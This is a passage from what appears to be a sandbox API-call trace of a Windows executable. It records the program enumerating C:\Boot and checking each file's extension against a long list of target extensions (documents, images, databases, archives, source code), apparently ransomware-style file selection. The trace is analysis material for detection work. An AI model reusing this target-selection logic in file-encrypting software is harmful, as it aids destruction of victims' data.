hHeap=0x420000, dwFlags=0x0, lpMem=0x3891448 | out: hHeap=0x420000) returned 1 [0157.778] FindNextFileW (in: hFindFile=0x484458, lpFindFileData=0x30dfcf8 | out: lpFindFileData=0x30dfcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77110000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0157.778] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3891448 [0157.778] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x484558 [0157.778] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0157.778] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xd36fe848, ftLastAccessTime.dwHighDateTime=0x1d5d815, ftLastWriteTime.dwLowDateTime=0xd36fe848, ftLastWriteTime.dwHighDateTime=0x1d5d815, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1 [0157.778] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0157.779] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0157.779] lstrlenW (lpString="BCD.LOG1") returned 8 [0157.779] lstrlenW (lpString=".1cd") returned 4 [0157.779] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0157.779] lstrlenW (lpString=".3ds") returned 4 [0157.779] lstrcmpiW (lpString1=".3ds", lpString2="LOG1") returned -1 [0157.779] lstrlenW (lpString=".3fr") returned 4 [0157.779] lstrcmpiW (lpString1=".3fr", lpString2="LOG1") returned -1 [0157.779] lstrlenW (lpString=".3g2") returned 4 [0157.779] lstrcmpiW (lpString1=".3g2", lpString2="LOG1") returned -1 [0157.779] lstrlenW (lpString=".3gp") returned 4 [0157.779] lstrcmpiW (lpString1=".3gp", lpString2="LOG1") returned -1 [0157.779] lstrlenW (lpString=".7z") returned 3 [0157.779] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0157.779] lstrlenW (lpString=".accda") returned 6 [0157.779] lstrcmpiW (lpString1=".accda", lpString2="D.LOG1") returned -1 [0157.779] lstrlenW (lpString=".accdb") returned 6 [0157.779] lstrcmpiW (lpString1=".accdb", lpString2="D.LOG1") returned -1 [0157.779] lstrlenW (lpString=".accdc") returned 6 [0157.779] lstrcmpiW (lpString1=".accdc", lpString2="D.LOG1") returned -1 [0157.779] lstrlenW (lpString=".accde") returned 6 [0157.779] lstrcmpiW (lpString1=".accde", lpString2="D.LOG1") returned -1 [0157.779] lstrlenW (lpString=".accdt") returned 6 [0157.779] lstrcmpiW (lpString1=".accdt", lpString2="D.LOG1") returned -1 [0157.779] lstrlenW (lpString=".accdw") returned 6 [0157.779] lstrcmpiW (lpString1=".accdw", lpString2="D.LOG1") returned -1 [0157.779] lstrlenW (lpString=".adb") returned 4 [0157.779] lstrcmpiW (lpString1=".adb", lpString2="LOG1") returned -1 [0157.779] lstrlenW (lpString=".adp") returned 4 [0157.779] lstrcmpiW (lpString1=".adp", lpString2="LOG1") returned -1 [0157.779] lstrlenW (lpString=".ai") returned 3 [0157.779] lstrcmpiW (lpString1=".ai", lpString2="OG1") returned -1 [0157.780] lstrlenW (lpString=".ai3") returned 4 [0157.780] lstrcmpiW (lpString1=".ai3", lpString2="LOG1") returned -1 [0157.780] lstrlenW (lpString=".ai4") returned 4 [0157.780] lstrcmpiW (lpString1=".ai4", lpString2="LOG1") returned -1 [0157.780] lstrlenW (lpString=".ai5") returned 4 [0157.780] lstrcmpiW (lpString1=".ai5", lpString2="LOG1") returned -1 [0157.780] lstrlenW (lpString=".ai6") returned 4 [0157.780] lstrcmpiW (lpString1=".ai6", lpString2="LOG1") returned -1 [0157.780] lstrlenW (lpString=".ai7") returned 4 [0157.780] lstrcmpiW (lpString1=".ai7", lpString2="LOG1") returned -1 [0157.780] lstrlenW (lpString=".ai8") returned 4 [0157.780] lstrcmpiW (lpString1=".ai8", lpString2="LOG1") returned -1 [0157.780] lstrlenW (lpString=".anim") returned 5 [0157.780] lstrcmpiW (lpString1=".anim", lpString2=".LOG1") returned -1 [0157.780] lstrlenW (lpString=".arw") returned 4 [0157.780] lstrcmpiW (lpString1=".arw", lpString2="LOG1") returned -1 [0157.780] lstrlenW (lpString=".as") returned 3 [0157.780] lstrcmpiW (lpString1=".as", lpString2="OG1") returned -1 [0157.780] lstrlenW (lpString=".asa") returned 4 [0157.780] lstrcmpiW (lpString1=".asa", lpString2="LOG1") returned -1 [0157.780] lstrlenW (lpString=".asc") returned 4 [0157.780] lstrcmpiW (lpString1=".asc", lpString2="LOG1") returned -1 [0157.780] lstrlenW (lpString=".ascx") returned 5 [0157.780] lstrcmpiW (lpString1=".ascx", lpString2=".LOG1") returned -1 [0157.780] lstrlenW (lpString=".asm") returned 4 [0157.780] lstrcmpiW (lpString1=".asm", lpString2="LOG1") returned -1 [0157.780] lstrlenW (lpString=".asmx") returned 5 [0157.780] lstrcmpiW (lpString1=".asmx", lpString2=".LOG1") returned -1 [0157.780] lstrlenW (lpString=".asp") returned 4 [0157.780] lstrcmpiW (lpString1=".asp", lpString2="LOG1") returned -1 [0157.781] lstrlenW (lpString=".aspx") returned 5 [0157.781] lstrcmpiW (lpString1=".aspx", lpString2=".LOG1") returned -1 [0157.781] lstrlenW (lpString=".asr") returned 4 [0157.781] lstrcmpiW (lpString1=".asr", lpString2="LOG1") returned -1 [0157.781] lstrlenW (lpString=".asx") returned 4 [0157.781] lstrcmpiW (lpString1=".asx", lpString2="LOG1") returned -1 [0157.781] lstrlenW (lpString=".avi") returned 4 [0157.781] lstrcmpiW (lpString1=".avi", lpString2="LOG1") returned -1 [0157.781] lstrlenW (lpString=".avs") returned 4 [0157.781] lstrcmpiW (lpString1=".avs", lpString2="LOG1") returned -1 [0157.781] lstrlenW (lpString=".backup") returned 7 [0157.781] lstrcmpiW (lpString1=".backup", lpString2="CD.LOG1") returned -1 [0157.781] lstrlenW (lpString=".bak") returned 4 [0157.781] lstrcmpiW (lpString1=".bak", lpString2="LOG1") returned -1 [0157.781] lstrlenW (lpString=".bay") returned 4 [0157.781] lstrcmpiW (lpString1=".bay", lpString2="LOG1") returned -1 [0157.781] lstrlenW (lpString=".bd") returned 3 [0157.781] lstrcmpiW (lpString1=".bd", lpString2="OG1") returned -1 [0157.781] lstrlenW (lpString=".bin") returned 4 [0157.781] lstrcmpiW (lpString1=".bin", lpString2="LOG1") returned -1 [0157.781] lstrlenW (lpString=".bmp") returned 4 [0157.781] lstrcmpiW (lpString1=".bmp", lpString2="LOG1") returned -1 [0157.781] lstrlenW (lpString=".bz2") returned 4 [0157.781] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0157.781] lstrlenW (lpString=".c") returned 2 [0157.781] lstrcmpiW (lpString1=".c", lpString2="G1") returned -1 [0157.781] lstrlenW (lpString=".cdr") returned 4 [0157.781] lstrcmpiW (lpString1=".cdr", lpString2="LOG1") returned -1 [0157.781] lstrlenW (lpString=".cer") returned 4 [0157.781] lstrcmpiW (lpString1=".cer", lpString2="LOG1") returned -1 [0157.781] lstrlenW (lpString=".cf") returned 3 [0157.782] lstrcmpiW (lpString1=".cf", lpString2="OG1") returned -1 [0157.782] lstrlenW (lpString=".cfc") returned 4 [0157.782] lstrcmpiW (lpString1=".cfc", lpString2="LOG1") returned -1 [0157.782] lstrlenW (lpString=".cfm") returned 4 [0157.782] lstrcmpiW (lpString1=".cfm", lpString2="LOG1") returned -1 [0157.782] lstrlenW (lpString=".cfml") returned 5 [0157.782] lstrcmpiW (lpString1=".cfml", lpString2=".LOG1") returned -1 [0157.782] lstrlenW (lpString=".cfu") returned 4 [0157.782] lstrcmpiW (lpString1=".cfu", lpString2="LOG1") returned -1 [0157.782] lstrlenW (lpString=".chm") returned 4 [0157.782] lstrcmpiW (lpString1=".chm", lpString2="LOG1") returned -1 [0157.782] lstrlenW (lpString=".cin") returned 4 [0157.782] lstrcmpiW (lpString1=".cin", lpString2="LOG1") returned -1 [0157.782] lstrlenW (lpString=".class") returned 6 [0157.782] lstrcmpiW (lpString1=".class", lpString2="D.LOG1") returned -1 [0157.782] lstrlenW (lpString=".clx") returned 4 [0157.782] lstrcmpiW (lpString1=".clx", lpString2="LOG1") returned -1 [0157.782] lstrlenW (lpString=".config") returned 7 [0157.782] lstrcmpiW (lpString1=".config", lpString2="CD.LOG1") returned -1 [0157.782] lstrlenW (lpString=".cpp") returned 4 [0157.782] lstrcmpiW (lpString1=".cpp", lpString2="LOG1") returned -1 [0157.782] lstrlenW (lpString=".cr2") returned 4 [0157.782] lstrcmpiW (lpString1=".cr2", lpString2="LOG1") returned -1 [0157.782] lstrlenW (lpString=".crt") returned 4 [0157.782] lstrcmpiW (lpString1=".crt", lpString2="LOG1") returned -1 [0157.782] lstrlenW (lpString=".crw") returned 4 [0157.782] lstrcmpiW (lpString1=".crw", lpString2="LOG1") returned -1 [0157.782] lstrlenW (lpString=".cs") returned 3 [0157.782] lstrcmpiW (lpString1=".cs", lpString2="OG1") returned -1 [0157.782] lstrlenW (lpString=".css") returned 4 [0157.782] lstrcmpiW (lpString1=".css", lpString2="LOG1") returned -1 [0157.783] lstrlenW (lpString=".csv") returned 4 [0157.783] lstrcmpiW (lpString1=".csv", lpString2="LOG1") returned -1 [0157.783] lstrlenW (lpString=".cub") returned 4 [0157.783] lstrcmpiW (lpString1=".cub", lpString2="LOG1") returned -1 [0157.783] lstrlenW (lpString=".dae") returned 4 [0157.783] lstrcmpiW (lpString1=".dae", lpString2="LOG1") returned -1 [0157.783] lstrlenW (lpString=".dat") returned 4 [0157.783] lstrcmpiW (lpString1=".dat", lpString2="LOG1") returned -1 [0157.783] lstrlenW (lpString=".db") returned 3 [0157.783] lstrcmpiW (lpString1=".db", lpString2="OG1") returned -1 [0157.783] lstrlenW (lpString=".dbf") returned 4 [0157.783] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0157.783] lstrlenW (lpString=".dbx") returned 4 [0157.783] lstrcmpiW (lpString1=".dbx", lpString2="LOG1") returned -1 [0157.783] lstrlenW (lpString=".dc3") returned 4 [0157.783] lstrcmpiW (lpString1=".dc3", lpString2="LOG1") returned -1 [0157.783] lstrlenW (lpString=".dcm") returned 4 [0157.783] lstrcmpiW (lpString1=".dcm", lpString2="LOG1") returned -1 [0157.783] lstrlenW (lpString=".dcr") returned 4 [0157.783] lstrcmpiW (lpString1=".dcr", lpString2="LOG1") returned -1 [0157.783] lstrlenW (lpString=".der") returned 4 [0157.783] lstrcmpiW (lpString1=".der", lpString2="LOG1") returned -1 [0157.783] lstrlenW (lpString=".dib") returned 4 [0157.783] lstrcmpiW (lpString1=".dib", lpString2="LOG1") returned -1 [0157.783] lstrlenW (lpString=".dic") returned 4 [0157.783] lstrcmpiW (lpString1=".dic", lpString2="LOG1") returned -1 [0157.783] lstrlenW (lpString=".dif") returned 4 [0157.783] lstrcmpiW (lpString1=".dif", lpString2="LOG1") returned -1 [0157.783] lstrlenW (lpString=".divx") returned 5 [0157.783] lstrcmpiW (lpString1=".divx", lpString2=".LOG1") returned -1 [0157.784] lstrlenW (lpString=".djvu") returned 5 [0157.784] lstrcmpiW (lpString1=".djvu", lpString2=".LOG1") returned -1 [0157.784] lstrlenW (lpString=".dng") returned 4 [0157.784] lstrcmpiW (lpString1=".dng", lpString2="LOG1") returned -1 [0157.784] lstrlenW (lpString=".doc") returned 4 [0157.784] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0157.784] lstrlenW (lpString=".docm") returned 5 [0157.784] lstrcmpiW (lpString1=".docm", lpString2=".LOG1") returned -1 [0157.784] lstrlenW (lpString=".docx") returned 5 [0157.784] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0157.784] lstrlenW (lpString=".dot") returned 4 [0157.784] lstrcmpiW (lpString1=".dot", lpString2="LOG1") returned -1 [0157.784] lstrlenW (lpString=".dotm") returned 5 [0157.784] lstrcmpiW (lpString1=".dotm", lpString2=".LOG1") returned -1 [0157.784] lstrlenW (lpString=".dotx") returned 5 [0157.784] lstrcmpiW (lpString1=".dotx", lpString2=".LOG1") returned -1 [0157.784] lstrlenW (lpString=".dpx") returned 4 [0157.784] lstrcmpiW (lpString1=".dpx", lpString2="LOG1") returned -1 [0157.784] lstrlenW (lpString=".dqy") returned 4 [0157.784] lstrcmpiW (lpString1=".dqy", lpString2="LOG1") returned -1 [0157.784] lstrlenW (lpString=".dsn") returned 4 [0157.784] lstrcmpiW (lpString1=".dsn", lpString2="LOG1") returned -1 [0157.784] lstrlenW (lpString=".dt") returned 3 [0157.784] lstrcmpiW (lpString1=".dt", lpString2="OG1") returned -1 [0157.784] lstrlenW (lpString=".dtd") returned 4 [0157.784] lstrcmpiW (lpString1=".dtd", lpString2="LOG1") returned -1 [0157.784] lstrlenW (lpString=".dwg") returned 4 [0157.784] lstrcmpiW (lpString1=".dwg", lpString2="LOG1") returned -1 [0157.784] lstrlenW (lpString=".dwt") returned 4 [0157.784] lstrcmpiW (lpString1=".dwt", lpString2="LOG1") returned -1 [0157.784] lstrlenW (lpString=".dx") returned 3 [0157.785] lstrcmpiW (lpString1=".dx", lpString2="OG1") returned -1 [0157.785] lstrlenW (lpString=".dxf") returned 4 [0157.785] lstrcmpiW (lpString1=".dxf", lpString2="LOG1") returned -1 [0157.785] lstrlenW (lpString=".edml") returned 5 [0157.785] lstrcmpiW (lpString1=".edml", lpString2=".LOG1") returned -1 [0157.785] lstrlenW (lpString=".efd") returned 4 [0157.785] lstrcmpiW (lpString1=".efd", lpString2="LOG1") returned -1 [0157.785] lstrlenW (lpString=".elf") returned 4 [0157.785] lstrcmpiW (lpString1=".elf", lpString2="LOG1") returned -1 [0157.785] lstrlenW (lpString=".emf") returned 4 [0157.785] lstrcmpiW (lpString1=".emf", lpString2="LOG1") returned -1 [0157.785] lstrlenW (lpString=".emz") returned 4 [0157.785] lstrcmpiW (lpString1=".emz", lpString2="LOG1") returned -1 [0157.785] lstrlenW (lpString=".epf") returned 4 [0157.785] lstrcmpiW (lpString1=".epf", lpString2="LOG1") returned -1 [0157.785] lstrlenW (lpString=".eps") returned 4 [0157.785] lstrcmpiW (lpString1=".eps", lpString2="LOG1") returned -1 [0157.785] lstrlenW (lpString=".epsf") returned 5 [0157.785] lstrcmpiW (lpString1=".epsf", lpString2=".LOG1") returned -1 [0157.785] lstrlenW (lpString=".epsp") returned 5 [0157.785] lstrcmpiW (lpString1=".epsp", lpString2=".LOG1") returned -1 [0157.785] lstrlenW (lpString=".erf") returned 4 [0157.785] lstrcmpiW (lpString1=".erf", lpString2="LOG1") returned -1 [0157.785] lstrlenW (lpString=".exr") returned 4 [0157.785] lstrcmpiW (lpString1=".exr", lpString2="LOG1") returned -1 [0157.785] lstrlenW (lpString=".f4v") returned 4 [0157.785] lstrcmpiW (lpString1=".f4v", lpString2="LOG1") returned -1 [0157.785] lstrlenW (lpString=".fido") returned 5 [0157.785] lstrcmpiW (lpString1=".fido", lpString2=".LOG1") returned -1 [0157.785] lstrlenW (lpString=".flm") returned 4 [0157.785] lstrcmpiW (lpString1=".flm", lpString2="LOG1") returned -1 [0157.785] lstrlenW (lpString=".flv") returned 4 [0157.785] lstrcmpiW (lpString1=".flv", lpString2="LOG1") returned -1 [0157.785] lstrlenW (lpString=".frm") returned 4 [0157.785] lstrcmpiW (lpString1=".frm", lpString2="LOG1") returned -1 [0157.785] lstrlenW (lpString=".fxg") returned 4 [0157.786] lstrcmpiW (lpString1=".fxg", lpString2="LOG1") returned -1 [0157.786] lstrlenW (lpString=".geo") returned 4 [0157.786] lstrcmpiW (lpString1=".geo", lpString2="LOG1") returned -1 [0157.786] lstrlenW (lpString=".gif") returned 4 [0157.786] lstrcmpiW (lpString1=".gif", lpString2="LOG1") returned -1 [0157.786] lstrlenW (lpString=".grs") returned 4 [0157.786] lstrcmpiW (lpString1=".grs", lpString2="LOG1") returned -1 [0157.786] lstrlenW (lpString=".gz") returned 3 [0157.786] lstrcmpiW (lpString1=".gz", lpString2="OG1") returned -1 [0157.786] lstrlenW (lpString=".h") returned 2 [0157.786] lstrcmpiW (lpString1=".h", lpString2="G1") returned -1 [0157.786] lstrlenW (lpString=".hdr") returned 4 [0157.786] lstrcmpiW (lpString1=".hdr", lpString2="LOG1") returned -1 [0157.786] lstrlenW (lpString=".hpp") returned 4 [0157.786] lstrcmpiW (lpString1=".hpp", lpString2="LOG1") returned -1 [0157.786] lstrlenW (lpString=".hta") returned 4 [0157.786] lstrcmpiW (lpString1=".hta", lpString2="LOG1") returned -1 [0157.786] lstrlenW (lpString=".htc") returned 4 [0157.786] lstrcmpiW (lpString1=".htc", lpString2="LOG1") returned -1 [0157.786] lstrlenW (lpString=".htm") returned 4 [0157.786] lstrcmpiW (lpString1=".htm", lpString2="LOG1") returned -1 [0157.786] lstrlenW (lpString=".html") returned 5 [0157.786] lstrcmpiW (lpString1=".html", lpString2=".LOG1") returned -1 [0157.786] lstrlenW (lpString=".icb") returned 4 [0157.786] lstrcmpiW (lpString1=".icb", lpString2="LOG1") returned -1 [0157.786] lstrlenW (lpString=".ics") returned 4 [0157.786] lstrcmpiW (lpString1=".ics", lpString2="LOG1") returned -1 [0157.786] lstrlenW (lpString=".iff") returned 4 [0157.786] lstrcmpiW (lpString1=".iff", lpString2="LOG1") returned -1 [0157.786] lstrlenW (lpString=".inc") returned 4 [0157.786] lstrcmpiW (lpString1=".inc", lpString2="LOG1") returned -1 [0157.786] lstrlenW (lpString=".indd") returned 5 [0157.786] lstrcmpiW (lpString1=".indd", lpString2=".LOG1") returned -1 [0157.786] lstrlenW (lpString=".ini") returned 4 [0157.786] lstrcmpiW (lpString1=".ini", lpString2="LOG1") returned -1 [0157.786] lstrlenW (lpString=".iqy") returned 4 [0157.786] lstrcmpiW (lpString1=".iqy", lpString2="LOG1") returned -1 [0157.786] lstrlenW (lpString=".j2c") returned 4 [0157.787] lstrcmpiW (lpString1=".j2c", lpString2="LOG1") returned -1 [0157.787] lstrlenW (lpString=".j2k") returned 4 [0157.787] lstrcmpiW (lpString1=".j2k", lpString2="LOG1") returned -1 [0157.787] lstrlenW (lpString=".java") returned 5 [0157.787] lstrcmpiW (lpString1=".java", lpString2=".LOG1") returned -1 [0157.787] lstrlenW (lpString=".jp2") returned 4 [0157.787] lstrcmpiW (lpString1=".jp2", lpString2="LOG1") returned -1 [0157.787] lstrlenW (lpString=".jpc") returned 4 [0157.787] lstrcmpiW (lpString1=".jpc", lpString2="LOG1") returned -1 [0157.787] lstrlenW (lpString=".jpe") returned 4 [0157.787] lstrcmpiW (lpString1=".jpe", lpString2="LOG1") returned -1 [0157.787] lstrlenW (lpString=".jpeg") returned 5 [0157.787] lstrcmpiW (lpString1=".jpeg", lpString2=".LOG1") returned -1 [0157.787] lstrlenW (lpString=".jpf") returned 4 [0157.787] lstrcmpiW (lpString1=".jpf", lpString2="LOG1") returned -1 [0157.787] lstrlenW (lpString=".jpg") returned 4 [0157.787] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0157.787] lstrlenW (lpString=".jpx") returned 4 [0157.787] lstrcmpiW (lpString1=".jpx", lpString2="LOG1") returned -1 [0157.787] lstrlenW (lpString=".js") returned 3 [0157.787] lstrcmpiW (lpString1=".js", lpString2="OG1") returned -1 [0157.787] lstrlenW (lpString=".jsf") returned 4 [0157.787] lstrcmpiW (lpString1=".jsf", lpString2="LOG1") returned -1 [0157.787] lstrlenW (lpString=".json") returned 5 [0157.787] lstrcmpiW (lpString1=".json", lpString2=".LOG1") returned -1 [0157.787] lstrlenW (lpString=".jsp") returned 4 [0157.787] lstrcmpiW (lpString1=".jsp", lpString2="LOG1") returned -1 [0157.787] lstrlenW (lpString=".kdc") returned 4 [0157.787] lstrcmpiW (lpString1=".kdc", lpString2="LOG1") returned -1 [0157.787] lstrlenW (lpString=".kmz") returned 4 [0157.787] lstrcmpiW (lpString1=".kmz", lpString2="LOG1") returned -1 [0157.787] lstrlenW (lpString=".kwm") returned 4 [0157.787] lstrcmpiW (lpString1=".kwm", lpString2="LOG1") returned -1 [0157.787] lstrlenW (lpString=".lasso") returned 6 [0157.787] lstrcmpiW (lpString1=".lasso", lpString2="D.LOG1") returned -1 [0157.787] lstrlenW (lpString=".lbi") returned 4 [0157.787] lstrcmpiW (lpString1=".lbi", lpString2="LOG1") returned -1 [0157.788] lstrlenW (lpString=".lgf") returned 4 [0157.788] lstrcmpiW (lpString1=".lgf", lpString2="LOG1") returned -1 [0157.788] lstrlenW (lpString=".lgp") returned 4 [0157.788] lstrcmpiW (lpString1=".lgp", lpString2="LOG1") returned -1 [0157.788] lstrlenW (lpString=".log") returned 4 [0157.788] lstrcmpiW (lpString1=".log", lpString2="LOG1") returned -1 [0157.788] lstrlenW (lpString=".m1v") returned 4 [0157.788] lstrcmpiW (lpString1=".m1v", lpString2="LOG1") returned -1 [0157.788] lstrlenW (lpString=".m4a") returned 4 [0157.788] lstrcmpiW (lpString1=".m4a", lpString2="LOG1") returned -1 [0157.788] lstrlenW (lpString=".m4v") returned 4 [0157.788] lstrcmpiW (lpString1=".m4v", lpString2="LOG1") returned -1 [0157.788] lstrlenW (lpString=".max") returned 4 [0157.788] lstrcmpiW (lpString1=".max", lpString2="LOG1") returned -1 [0157.788] lstrlenW (lpString=".md") returned 3 [0157.788] lstrcmpiW (lpString1=".md", lpString2="OG1") returned -1 [0157.788] lstrlenW (lpString=".mda") returned 4 [0157.788] lstrcmpiW (lpString1=".mda", lpString2="LOG1") returned -1 [0157.788] lstrlenW (lpString=".mdb") returned 4 [0157.788] lstrcmpiW (lpString1=".mdb", lpString2="LOG1") returned -1 [0157.788] lstrlenW (lpString=".mde") returned 4 [0157.788] lstrcmpiW (lpString1=".mde", lpString2="LOG1") returned -1 [0157.788] lstrlenW (lpString=".mdf") returned 4 [0157.788] lstrcmpiW (lpString1=".mdf", lpString2="LOG1") returned -1 [0157.788] lstrlenW (lpString=".mdw") returned 4 [0157.788] lstrcmpiW (lpString1=".mdw", lpString2="LOG1") returned -1 [0157.788] lstrlenW (lpString=".mef") returned 4 [0157.788] lstrcmpiW (lpString1=".mef", lpString2="LOG1") returned -1 [0157.788] lstrlenW (lpString=".mft") returned 4 [0157.788] lstrcmpiW (lpString1=".mft", lpString2="LOG1") returned -1 [0157.788] lstrlenW (lpString=".mfw") returned 4 [0157.788] lstrcmpiW (lpString1=".mfw", lpString2="LOG1") returned -1 [0157.788] lstrlenW (lpString=".mht") returned 4 [0157.788] lstrcmpiW (lpString1=".mht", lpString2="LOG1") returned -1 [0157.788] lstrlenW (lpString=".mhtml") returned 6 [0157.788] lstrcmpiW (lpString1=".mhtml", lpString2="D.LOG1") returned -1 [0157.788] lstrlenW (lpString=".mka") returned 4 [0157.788] lstrcmpiW (lpString1=".mka", lpString2="LOG1") returned -1 [0157.789] lstrlenW (lpString=".mkidx") returned 6 [0157.789] lstrcmpiW (lpString1=".mkidx", lpString2="D.LOG1") returned -1 [0157.789] lstrlenW (lpString=".mkv") returned 4 [0157.789] lstrcmpiW (lpString1=".mkv", lpString2="LOG1") returned -1 [0157.789] lstrlenW (lpString=".mos") returned 4 [0157.789] lstrcmpiW (lpString1=".mos", lpString2="LOG1") returned -1 [0157.789] lstrlenW (lpString=".mov") returned 4 [0157.789] lstrcmpiW (lpString1=".mov", lpString2="LOG1") returned -1 [0157.789] lstrlenW (lpString=".mp3") returned 4 [0157.789] lstrcmpiW (lpString1=".mp3", lpString2="LOG1") returned -1 [0157.789] lstrlenW (lpString=".mp4") returned 4 [0157.789] lstrcmpiW (lpString1=".mp4", lpString2="LOG1") returned -1 [0157.789] lstrlenW (lpString=".mpeg") returned 5 [0157.789] lstrcmpiW (lpString1=".mpeg", lpString2=".LOG1") returned 1 [0157.789] lstrlenW (lpString=".mpg") returned 4 [0157.789] lstrcmpiW (lpString1=".mpg", lpString2="LOG1") returned -1 [0157.789] lstrlenW (lpString=".mpv") returned 4 [0157.789] lstrcmpiW (lpString1=".mpv", lpString2="LOG1") returned -1 [0157.789] lstrlenW (lpString=".mrw") returned 4 [0157.789] lstrcmpiW (lpString1=".mrw", lpString2="LOG1") returned -1 [0157.789] lstrlenW (lpString=".msg") returned 4 [0157.789] lstrcmpiW (lpString1=".msg", lpString2="LOG1") returned -1 [0157.789] lstrlenW (lpString=".mxl") returned 4 [0157.789] lstrcmpiW (lpString1=".mxl", lpString2="LOG1") returned -1 [0157.789] lstrlenW (lpString=".myd") returned 4 [0157.789] lstrcmpiW (lpString1=".myd", lpString2="LOG1") returned -1 [0157.789] lstrlenW (lpString=".myi") returned 4 [0157.789] lstrcmpiW (lpString1=".myi", lpString2="LOG1") returned -1 [0157.789] lstrlenW (lpString=".nef") returned 4 [0157.789] lstrcmpiW (lpString1=".nef", lpString2="LOG1") returned -1 [0157.789] lstrlenW (lpString=".nrw") returned 4 [0157.789] lstrcmpiW (lpString1=".nrw", lpString2="LOG1") returned -1 [0157.789] lstrlenW (lpString=".obj") returned 4 [0157.789] lstrcmpiW (lpString1=".obj", lpString2="LOG1") returned -1 [0157.789] lstrlenW (lpString=".odb") returned 4 [0157.790] lstrcmpiW (lpString1=".odb", lpString2="LOG1") returned -1 [0157.790] lstrlenW (lpString=".odc") returned 4 [0157.790] lstrcmpiW (lpString1=".odc", lpString2="LOG1") returned -1 [0157.790] lstrlenW (lpString=".odm") returned 4 [0157.790] lstrcmpiW (lpString1=".odm", lpString2="LOG1") returned -1 [0157.790] lstrlenW (lpString=".odp") returned 4 [0157.790] lstrcmpiW (lpString1=".odp", lpString2="LOG1") returned -1 [0157.790] lstrlenW (lpString=".ods") returned 4 [0157.790] lstrcmpiW (lpString1=".ods", lpString2="LOG1") returned -1 [0157.790] lstrlenW (lpString=".oft") returned 4 [0157.790] lstrcmpiW (lpString1=".oft", lpString2="LOG1") returned -1 [0157.790] lstrlenW (lpString=".one") returned 4 [0157.790] lstrcmpiW (lpString1=".one", lpString2="LOG1") returned -1 [0157.790] lstrlenW (lpString=".onepkg") returned 7 [0157.790] lstrcmpiW (lpString1=".onepkg", lpString2="CD.LOG1") returned -1 [0157.790] lstrlenW (lpString=".onetoc2") returned 8 [0157.790] lstrcmpiW (lpString1=".onetoc2", lpString2="BCD.LOG1") returned -1 [0157.790] lstrlenW (lpString=".opt") returned 4 [0157.790] lstrcmpiW (lpString1=".opt", lpString2="LOG1") returned -1 [0157.790] lstrlenW (lpString=".oqy") returned 4 [0157.790] lstrcmpiW (lpString1=".oqy", lpString2="LOG1") returned -1 [0157.790] lstrlenW (lpString=".orf") returned 4 [0157.790] lstrcmpiW (lpString1=".orf", lpString2="LOG1") returned -1 [0157.790] lstrlenW (lpString=".p12") returned 4 [0157.790] lstrcmpiW (lpString1=".p12", lpString2="LOG1") returned -1 [0157.790] lstrlenW (lpString=".p7b") returned 4 [0157.790] lstrcmpiW 